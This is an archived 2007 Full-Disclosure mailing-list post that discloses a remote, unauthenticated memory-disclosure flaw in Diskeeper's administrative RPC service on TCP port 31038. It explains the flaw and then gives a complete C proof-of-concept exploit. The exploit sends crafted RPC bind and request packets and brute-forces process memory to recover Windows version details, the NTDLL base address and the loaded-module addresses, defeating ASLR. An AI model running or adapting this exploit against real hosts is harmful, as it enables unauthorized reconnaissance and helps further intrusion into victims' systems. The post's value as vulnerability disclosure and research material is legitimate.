diskeeper-disclose.txt
Posted on 14 August 2007
Diskeeper Remote Memory Disclosure Credit: Pravus (pravus -a-t- hush -d-o-t- com) Greetz: Scientology for making a remotely accessible disk defragmenter. Felix, Jenna, and Isaac. Vulnerability Description: This vulnerability involves a memory comparison function that is remotely, anonymously accessible via the remote procedure call in the Diskeeper administrative interface. Using this, an attacker can guess / brute force memory at any address in the process; although passing a bad pointer will cause a memory read exception and DoS the process. Since causing a Denial of Service for Diskeeper is of minimal consequence, this write-up will focus on the memory reading aspect. By making use of shared user memory at 0x7FFE0000, an attacker can learn information, such as Windows drive, path, and version. More importantly for a targeted attack, an attacker can also get the name, path, version and base address of all loaded modules in the process. This would essentially defeat address space randomization (ASLR) in Windows Vista, since loaded modules tend to have the same preferred address in all processes for each boot of the system. Details: Diskeeper introduced their administrative interface in Diskeeper 9 and continued it in Diskeeper 10 and Diskeeper 2007. For the purpose of this vulnerability I tested in Diskeeper 9 Professional and Diskeeper 2007 Pro Premier. (Though I believe from documentation that the Server Editions of each and both versions in Diskeeper 10 are equally vulnerable.) The administrative interface, DkService.exe, runs as a system service that is by default configured to automatically start. It listens on TCP port 31038 and has three RPC functions available. Calling the opcode 0x01 RPC function (MIDL below) allows a remote, anonymous memory comparison at an attacker provided address. Simply pass the size of the data, the data, and the address to make use of this. MIDL /* opcode: 0x01, address: 0x004922F0 (address from 2007 ProPremier)*/ long sub_4922F0 ( [in] long arg_1, [in][size_is(arg_1)] char * arg_2, [in] hyper arg_3 ); Exploitation: In order to exploit this, one must bind to the RPC interface, then initiate the RPC call as many times as desired. If guessing an intelligent value, such as a widecharacter string L"WINDOWS", providing multiple bytes of data is optimal for speed's sake. If attempting to brute force an address, doing so one byte at a time is preferable so you are guessing at most 4n times instead of n^4. In my sample exploit, I am first getting general system information by looking at fixed locations in shared user data. I get the Windows drive letter, the Windows directory, and the Windows OS version (5.1=XP; 6.0=Vista; etc.) Then I brute force an address in NTDLL.DLL from the shared user data. From this, I can jump backwards to the start of the module, looking for the MZ header. Knowing where the start of the module is, I can look for the .data header to find where the data section of NTDLL.DLL is loaded. This is where things get a little tricky. Since the loaded module hash table is at different places in the data section depending on the version of NTDLL.DLL, we have to search for it. Basically each hash bucket that is empty contains a pointer to itself, so I made a mask to place over memory that defined which buckets could be empty vs. not, and defined that the last 6 had to be empty, because they correspond to modules that don't start with an alphabetic character in name. (This part could be made more effective and faster, but for a PoC, it should work.) Once it finds memory that fits the mask, I iterate the linked list at each of the 32 hash buckets and read the relevant loaded module information. I just used a #define for the IP address string, so modify it for your target IP. Exploit Code: //Diskeeper Remote Memory Read //By: Pravus #define WIN32_LEAN_AND_MEAN #define PORT 31038 #define DELAY 50 #define _CRT_SECURE_NO_DEPRECATE #define _USE_32BIT_TIME_T #define servername "127.0.0.1" #pragma comment (lib,"ws2_32") #include <winsock2.h> #include <windows.h> #include <stdlib.h> #include <stdio.h> #include <sys/timeb.h> #include <time.h> char rpcbind [] = "x05x00x0bx03x10x00x00x00x48x00x00x00x00x00x00x00" "xd0x16xd0x16x00x00x00x00x01x00x00x00x00x00x01x00" "xb7xf9x09x28xefxcfx64x41x8cx46xe8xd4x17x52x2cx1c" "x03x00x03x00x04x5dx88x8axebx1cxc9x11x9fxe8x08x00" "x2bx10x48x60x02x00x00x00"; char request [] = "x05x00x00x03x10x00x00x00x68x00x00x00x00x00x00x00" "x50x00x00x00x00x00x01x00"; //4 byte len //4 byte len //dword aligned string //pointer //ign dword //This function is a simple remote comparison returning true if the memory //at loc matches value for len bytes. This is where the real "exploitation" //comes into play. We just send a mocked up RPC request using their provided //remote mem compare function. BOOL rmemcmp(SOCKET conn, int loc, char* value, int len) { char buff [32768]; int w,x=0; memset(buff, ' ', sizeof(buff)); memcpy(buff, request, sizeof(request)); x+=sizeof(request)-1; memcpy(buff+x, &len, sizeof(len)); //len x+=sizeof(len); memcpy(buff+x, &len, sizeof(len)); //len x+=sizeof(len); memcpy(buff+x, value, len); //string x+=len; x+=(8-(len%8))%8; //null pad memcpy(buff+x, &loc, sizeof(loc)); //pointer x+=sizeof(loc); w=0; memcpy(buff+x, &w, sizeof(w)); //don't care x+=sizeof(w); w=x-0x18; memcpy(buff+8, &x, sizeof(x)); memcpy(buff+0x10, &w, sizeof(w)); send(conn,(const char*)buff,x,0); recv(conn,(char*)buff,2048,0); w=*(buff+0x18); return (BOOL)w; } //main function do all the calls int main(int argc, char** argv) { WSADATA wsaData; if (WSAStartup(0x202,&wsaData)) return 1; SOCKET conn; conn=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(conn==INVALID_SOCKET) return 1; unsigned long addr; addr=inet_addr(servername); if (addr==INADDR_NONE) { closesocket(conn); return 1; } sockaddr_in server; server.sin_addr.s_addr=addr; server.sin_family=AF_INET; server.sin_port=htons(PORT); if(connect(conn,(struct sockaddr*)&server,sizeof(server))) { closesocket(conn); return 1; } linger ling; ling.l_onoff=1; ling.l_linger=0; char buff [32768]; char str [1024]; WCHAR wstr [1024]; unsigned char filechars [] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789- _.\"; unsigned int listbin, mask; unsigned char c, *d; int u,v,w,x,y,z,ret,ntbase,ntdata,modbase; struct _timeb timebuffer; timeval t; t.tv_sec=0; t.tv_usec=DELAY; //send the rpc bind send(conn,(const char*)rpcbind,sizeof(rpcbind)-1,0); recv(conn,(char*)buff,2048,0); //get the Windows drive letter ret=0; c='A'; y=1; z=0x7FFE0030; while ((ret==0) && (c<='Z')) { sprintf(str, "%c", c); ret=rmemcmp(conn, z, str, y); c++; } if (!ret) { printf("Could not determine drive letter. "); } else { c--; printf("Windows running on drive %c ",c); } //get the Windows dir z=0x7FFE0036; wcscpy(wstr, L"WINDOWS"); y=wcslen(wstr)*2; if (rmemcmp(conn, z, (char*)wstr, y)) { printf("Windows directory is WINDOWS "); } else { wcscpy(wstr, L"WINNT"); y=wcslen(wstr)*2; if (rmemcmp(conn, z, (char*)wstr, y)) { printf("Windows directory is WINNT "); } else { ret=0; y=1; z=0x7FFE0036; printf("Windows directory is "); do { d=filechars; ret=0; while ((ret==0) && (*d)) { sprintf(str, "%c", *d); ret=rmemcmp(conn, z, str, y); d++; } if (ret) printf(str); z+=2; } while (ret==1); printf(" "); } } //Windows version printf("Windows version is "); ret=0; c='x00'; y=1; z=0x7FFE026C; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, z, str, y); c++; } c--; printf("%u.",c); ret=0; c='x00'; y=1; z+=4; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, z, str, y); c++; } c--; printf("%u ",c); //find the NTDLL.DLL base address x=0; y=1; for (z=0x7FFE0303; z>=0x7FFE0300; z--) { ret=0; c='x00'; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, z, str, y); c++; } c--; x=x<<8; x+=c; } // printf ("Beginning search for NTDLL.DLL at 0x%x ",x); z=x&0xFFFF0000; strcpy(str, "MZ"); y=2; ret=0; while (ret==0) { ret=rmemcmp(conn, z, str, y); z-=0x10000; } z+=0x10000; ntbase=z; printf ("NTDLL.DLL is based at 0x%x ",z); //Look for .data section and then the module hash table in NTDLL (LDR_MODULE) z+=0x160; //to skip over some of DOS header + PE header + .text section strcpy(str, ".data"); y=5; ret=0; while (ret==0) { ret=rmemcmp(conn, z, str, y); z+=4; } z+=8; //start of .data + 0x0c y=1; x=0; for (w=z+3; w>=z; w--) { ret=0; c='x00'; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, w, str, y); c++; } c--; x=x<<8; x+=c; } z=ntdata=x+ntbase; printf ("NTDLL data section located at 0x%x ",z); //mask - 0=can't be empty hash, 1=can be empty; 01001101 11010000 10000101 11111111 mask=0x4DD085FF; listbin=0; y=4; do { ret=rmemcmp(conn, z, (char*)&z, y); listbin=(listbin<<1)+ret; ret=rmemcmp(conn, z+4, (char*)&z, y); listbin=listbin&(~(!ret)); z+=8; } while ((z<ntdata+256)||((listbin&mask)!=listbin)||((listbin&0x3F)!=0x3F)); //note - if this isn't working, may need to tweak the last while clause... //if a DLL were being loaded/injected that didn't start with an alpha character, //these buckets wouldn't be empty modbase=z-256; printf("Found loaded modules list at 0x%x ",modbase); _ftime( &timebuffer ); //lets get the modules for (z=modbase;z<modbase+256;z+=8) { if (((listbin>>(31-((z-modbase)/8)))&1)==0) { v=z; do { x=0; y=1; for (w=v+3; w>=v; w--) { ret=0; c='x00'; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, w, str, y); c++; } c--; x=x<<8; x+=c; } if (x==z) //if the next pointer points back to the module list, we're done break; //get address of module name v=x-12; u=0; y=1; for (w=v+3; w>=v; w--) { ret=0; c='x00'; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, w, str, y); c++; } c--; u=u<<8; u+=c; } //get the module name ret=0; y=1; printf("Module "); do { d=filechars; ret=0; while ((ret==0) && (*d)) { sprintf(str, "%c", *d); ret=rmemcmp(conn, u, str, y); d++; } if (ret) printf(str); u+=2; } while (ret==1); printf(" is loaded at "); //get the module address v=x-36; u=0; y=1; for (w=v+3; w>=v; w--) { ret=0; c='x00'; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, w, str, y); c++; } c--; u=u<<8; u+=c; } printf("0x%x ",u); //get the module timestamp v=x+8; u=0; y=1; for (w=v+3; w>=v; w--) { ret=0; c='x00'; while (ret==0) { sprintf(str, "%c", c); ret=rmemcmp(conn, w, str, y); c++; } c--; u=u<<8; u+=c; } memset(str, ' ', sizeof(str)); timebuffer.time=u; ctime_s(str, 26, &(timebuffer.time)); printf("Module time is %.24s (0x%x) ", str, u); v=x; } while (v!=z); } } system("pause"); WSACleanup(); return 0; } // END CODE o -/ - Cheers Bro, Inc. \_/ / \n -Pravus -- Click for free information on accounting careers, $150/hour potential. http://tagline.hushmail.com/fc/Ioyw6h4dCeQclkdzgUoHvF3ZnoFJTC3D7ejtOoagO138Z86uqc2WJC/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
